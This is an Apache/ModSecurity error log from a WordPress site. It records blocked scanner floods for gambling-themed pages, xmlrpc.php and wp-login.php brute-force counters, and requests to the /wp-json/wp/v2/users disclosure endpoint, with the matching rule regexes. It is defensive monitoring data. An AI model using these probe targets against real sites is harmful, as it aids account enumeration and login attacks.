[Fri May 15 08:35:26.405543 2026] [:error] [pid 1189:tid 1239] [client 51.83.7.81:43804] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agZqTge36qIGegR4kclgtAAAAE4"]
[Fri May 15 08:35:28.305100 2026] [:error] [pid 50531:tid 50534] [client 51.83.7.81:43812] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agZqUB3WbFwE6voqGzrJyQAAAQE"]
[Fri May 15 08:35:30.342722 2026] [:error] [pid 1295:tid 1305] [client 51.83.7.81:43828] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agZqUtmMhqLvs0GYixn3tgAAAMc"]
[Fri May 15 08:35:32.241118 2026] [:error] [pid 51234:tid 51255] [client 51.83.7.81:35268] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agZqVN72N9CbeiqcqgOjnQAAAVM"]
[Fri May 15 08:35:34.106116 2026] [:error] [pid 1295:tid 1315] [client 51.83.7.81:35280] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agZqVtmMhqLvs0GYixn30QAAANE"]
[Fri May 15 08:35:36.134672 2026] [:error] [pid 1188:tid 1200] [client 51.83.7.81:35294] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agZqWNY68iW8yuNkNzPelgAAAAM"]
[Fri May 15 08:35:38.026611 2026] [:error] [pid 1295:tid 1308] [client 51.83.7.81:35310] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agZqWtmMhqLvs0GYixn36gAAAMo"]
[Fri May 15 08:35:39.915103 2026] [:error] [pid 1189:tid 1248] [client 51.83.7.81:35312] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "agZqWwe36qIGegR4kclg6AAAAFc"]
[Fri May 15 08:35:41.944124 2026] [:error] [pid 51234:tid 51247] [client 51.83.7.81:45344] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "agZqXd72N9CbeiqcqgOj5gAAAUs"]
[Fri May 15 12:37:24.845519 2026] [:error] [pid 3254:tid 3278] [client 170.106.181.163:59262] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agajBJUANYxu1KmrsL4aCAAAAZY"]
[Fri May 15 13:26:13.066034 2026] [proxy_fcgi:error] [pid 9392:tid 9414] (70007)The timeout specified has expired: [client 103.4.122.13:6676] AH01075: Error dispatching request to : (polling), referer: https://wpmain.screwlooseit.com.au
[Fri May 15 14:44:45.443457 2026] [:error] [pid 9307:tid 9369] [client 223.178.212.98:1427] [client 223.178.212.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.212.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbA3SC43jY1IRzK5VY-mAAAAMQ"]
[Fri May 15 14:44:56.134195 2026] [:error] [pid 9392:tid 9395] [client 223.178.212.98:17701] [client 223.178.212.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.212.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbA6NBWJIjH1U9zGfafBgAAAQE"]
[Fri May 15 14:45:06.814607 2026] [:error] [pid 9392:tid 9414] [client 223.178.212.98:27957] [client 223.178.212.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.212.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbA8tBWJIjH1U9zGfafFAAAARQ"]
[Fri May 15 14:45:17.450024 2026] [:error] [pid 9305:tid 9353] [client 223.178.212.98:32732] [client 223.178.212.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.212.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbA_d5FZyBmdCM8GsF4VwAAAE8"]
[Fri May 15 14:45:27.970252 2026] [:error] [pid 9305:tid 9341] [client 223.178.212.98:12849] [client 223.178.212.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.212.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbBB95FZyBmdCM8GsF4WgAAAEM"]
[Fri May 15 15:41:40.377099 2026] [:error] [pid 9307:tid 9365] [client 176.97.212.176:42328] [client 176.97.212.176] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agbONCC43jY1IRzK5VZFpgAAAMA"]
[Fri May 15 16:05:41.145547 2026] [:error] [pid 30240:tid 30258] [client 223.181.52.230:6792] [client 223.181.52.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.52.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbT1a8ckHvaA6bpewtLjQAAAVA"]
[Fri May 15 16:07:48.231027 2026] [:error] [pid 30208:tid 30224] [client 223.181.52.230:5362] [client 223.181.52.230] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agbUVJmLMCJujX-JTvgfgAAAAI4"]
[Fri May 15 16:08:33.954503 2026] [:error] [pid 30272:tid 30298] [client 223.181.52.230:3015] [client 223.181.52.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.52.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbUgXvc_jSFaQ_7_we47QAAAZg"]
[Fri May 15 16:09:12.265515 2026] [:error] [pid 9392:tid 9418] [client 223.181.52.230:15123] [client 223.181.52.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.52.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbUqNBWJIjH1U9zGfaxiwAAARg"]
[Fri May 15 16:09:58.289122 2026] [:error] [pid 30272:tid 30294] [client 223.181.52.230:14263] [client 223.181.52.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.52.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbU1nvc_jSFaQ_7_we5MgAAAZQ"]
[Fri May 15 16:10:36.744127 2026] [:error] [pid 9305:tid 9348] [client 223.181.52.230:12406] [client 223.181.52.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.52.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agbU_N5FZyBmdCM8GsGACgAAAEo"]
[Fri May 15 16:28:05.616938 2026] [:error] [pid 30208:tid 30230] [client 170.106.180.153:57826] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agbZFZmLMCJujX-JTvghhgAAAJQ"]
[Fri May 15 19:25:23.695766 2026] [:error] [pid 30240:tid 30253] [client 43.157.153.236:46448] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agcCo68ckHvaA6bpewtiLwAAAUs"]
[Fri May 15 20:13:52.387819 2026] [:error] [pid 9305:tid 9346] [client 43.166.251.233:35892] [client 43.166.251.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agcOAN5FZyBmdCM8GsGPLwAAAEg"]
[Fri May 15 21:56:08.695915 2026] [:error] [pid 9307:tid 9379] [client 79.137.71.22:60506] [client 79.137.71.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.137.71.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agcl-CC43jY1IRzK5VZfGAAAAM4"]
[Fri May 15 21:56:10.404445 2026] [:error] [pid 9307:tid 9384] [client 79.137.71.22:60506] [client 79.137.71.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.137.71.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agcl-iC43jY1IRzK5VZfGgAAANM"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 22:15:32.594535 2026] [:error] [pid 30272:tid 30285] [client 46.20.146.46:48472] [client 46.20.146.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.20.146.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agcqhHvc_jSFaQ_7_wcClQAAAYs"]
[Fri May 15 22:15:34.286727 2026] [:error] [pid 30272:tid 30281] [client 46.20.146.46:48472] [client 46.20.146.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.20.146.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agcqhnvc_jSFaQ_7_wcCmgAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 22:43:32.620753 2026] [:error] [pid 9305:tid 9338] [client 209.159.147.182:46878] [client 209.159.147.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.159.147.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agcxFN5FZyBmdCM8GsGW9QAAAEA"]
[Fri May 15 22:58:40.918974 2026] [:error] [pid 30208:tid 30227] [client 113.161.85.61:53254] [client 113.161.85.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agc0oJmLMCJujX-JTvhCPAAAAJE"]
[Fri May 15 23:03:18.256784 2026] [:error] [pid 30208:tid 30225] [client 43.153.54.14:39406] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agc1tpmLMCJujX-JTvhCrgAAAI8"]
[Fri May 15 23:28:05.885836 2026] [:error] [pid 30240:tid 30266] [client 193.42.111.139:48200] [client 193.42.111.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.42.111.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agc7ha8ckHvaA6bpewt5rwAAAVg"]
[Fri May 15 23:28:07.542054 2026] [:error] [pid 30240:tid 30257] [client 193.42.111.139:48200] [client 193.42.111.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.42.111.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agc7h68ckHvaA6bpewt5sQAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 00:05:58.570427 2026] [:error] [pid 30272:tid 30274] [client 51.161.7.9:41031] [client 51.161.7.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.161.7.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agdEZnvc_jSFaQ_7_wcWnwAAAYA"]
[Sat May 16 00:06:00.387049 2026] [:error] [pid 30272:tid 30288] [client 51.161.7.9:41031] [client 51.161.7.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.161.7.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agdEaHvc_jSFaQ_7_wcWogAAAY4"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 01:58:05.377298 2026] [:error] [pid 30240:tid 30253] [client 51.77.216.124:49754] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "agdera8ckHvaA6bpewuNFgAAAUs"]
[Sat May 16 01:58:09.322739 2026] [:error] [pid 9392:tid 9415] [client 51.77.216.124:56294] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "agdesdBWJIjH1U9zGfYFugAAARU"]
[Sat May 16 01:58:11.787752 2026] [:error] [pid 30272:tid 30293] [client 51.77.216.124:56296] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "agdes3vc_jSFaQ_7_wcu3AAAAZM"]
[Sat May 16 01:58:15.216467 2026] [:error] [pid 9392:tid 9412] [client 51.77.216.124:56300] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agdet9BWJIjH1U9zGfYFwwAAARI"]
[Sat May 16 01:58:18.119623 2026] [:error] [pid 30240:tid 30258] [client 51.77.216.124:48416] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agdeuq8ckHvaA6bpewuNIgAAAVA"]
[Sat May 16 01:58:19.268695 2026] [:error] [pid 30208:tid 30211] [client 65.108.78.33:6566] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agdeu5mLMCJujX-JTvhS0AAAAIE"]
[Sat May 16 01:58:20.563632 2026] [:error] [pid 9307:tid 9376] [client 51.77.216.124:48422] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agdevCC43jY1IRzK5VZykgAAAMs"]
[Sat May 16 01:58:21.137123 2026] [:error] [pid 30240:tid 30244] [client 65.108.78.33:6574] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agdeva8ckHvaA6bpewuNJAAAAUI"]
[Sat May 16 01:58:23.182636 2026] [:error] [pid 30208:tid 30220] [client 65.108.78.33:44202] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agdev5mLMCJujX-JTvhS1AAAAIo"]
[Sat May 16 01:58:23.732380 2026] [:error] [pid 9392:tid 9412] [client 51.77.216.124:48426] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agdev9BWJIjH1U9zGfYFzwAAARI"]
[Sat May 16 01:58:25.184922 2026] [:error] [pid 30272:tid 30295] [client 65.108.78.33:44210] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agdewXvc_jSFaQ_7_wcu7wAAAZU"]
[Sat May 16 01:58:26.538362 2026] [:error] [pid 9392:tid 9395] [client 51.77.216.124:56634] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agdewtBWJIjH1U9zGfYF0QAAAQE"]
[Sat May 16 01:58:27.073300 2026] [:error] [pid 30240:tid 30242] [client 65.108.78.33:44220] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agdew68ckHvaA6bpewuNKwAAAUA"]
[Sat May 16 01:58:29.287531 2026] [:error] [pid 9305:tid 9351] [client 51.77.216.124:56638] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agdexd5FZyBmdCM8GsGkkAAAAE0"]
[Sat May 16 01:58:30.990082 2026] [:error] [pid 9392:tid 9405] [client 65.108.78.33:44222] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agdextBWJIjH1U9zGfYF2QAAAQs"]
[Sat May 16 01:58:32.108193 2026] [:error] [pid 30208:tid 30218] [client 51.77.216.124:56652] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agdeyJmLMCJujX-JTvhS1wAAAIg"]
[Sat May 16 01:58:33.003583 2026] [:error] [pid 9392:tid 9399] [client 65.108.78.33:32576] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agdeydBWJIjH1U9zGfYF5QAAAQU"]
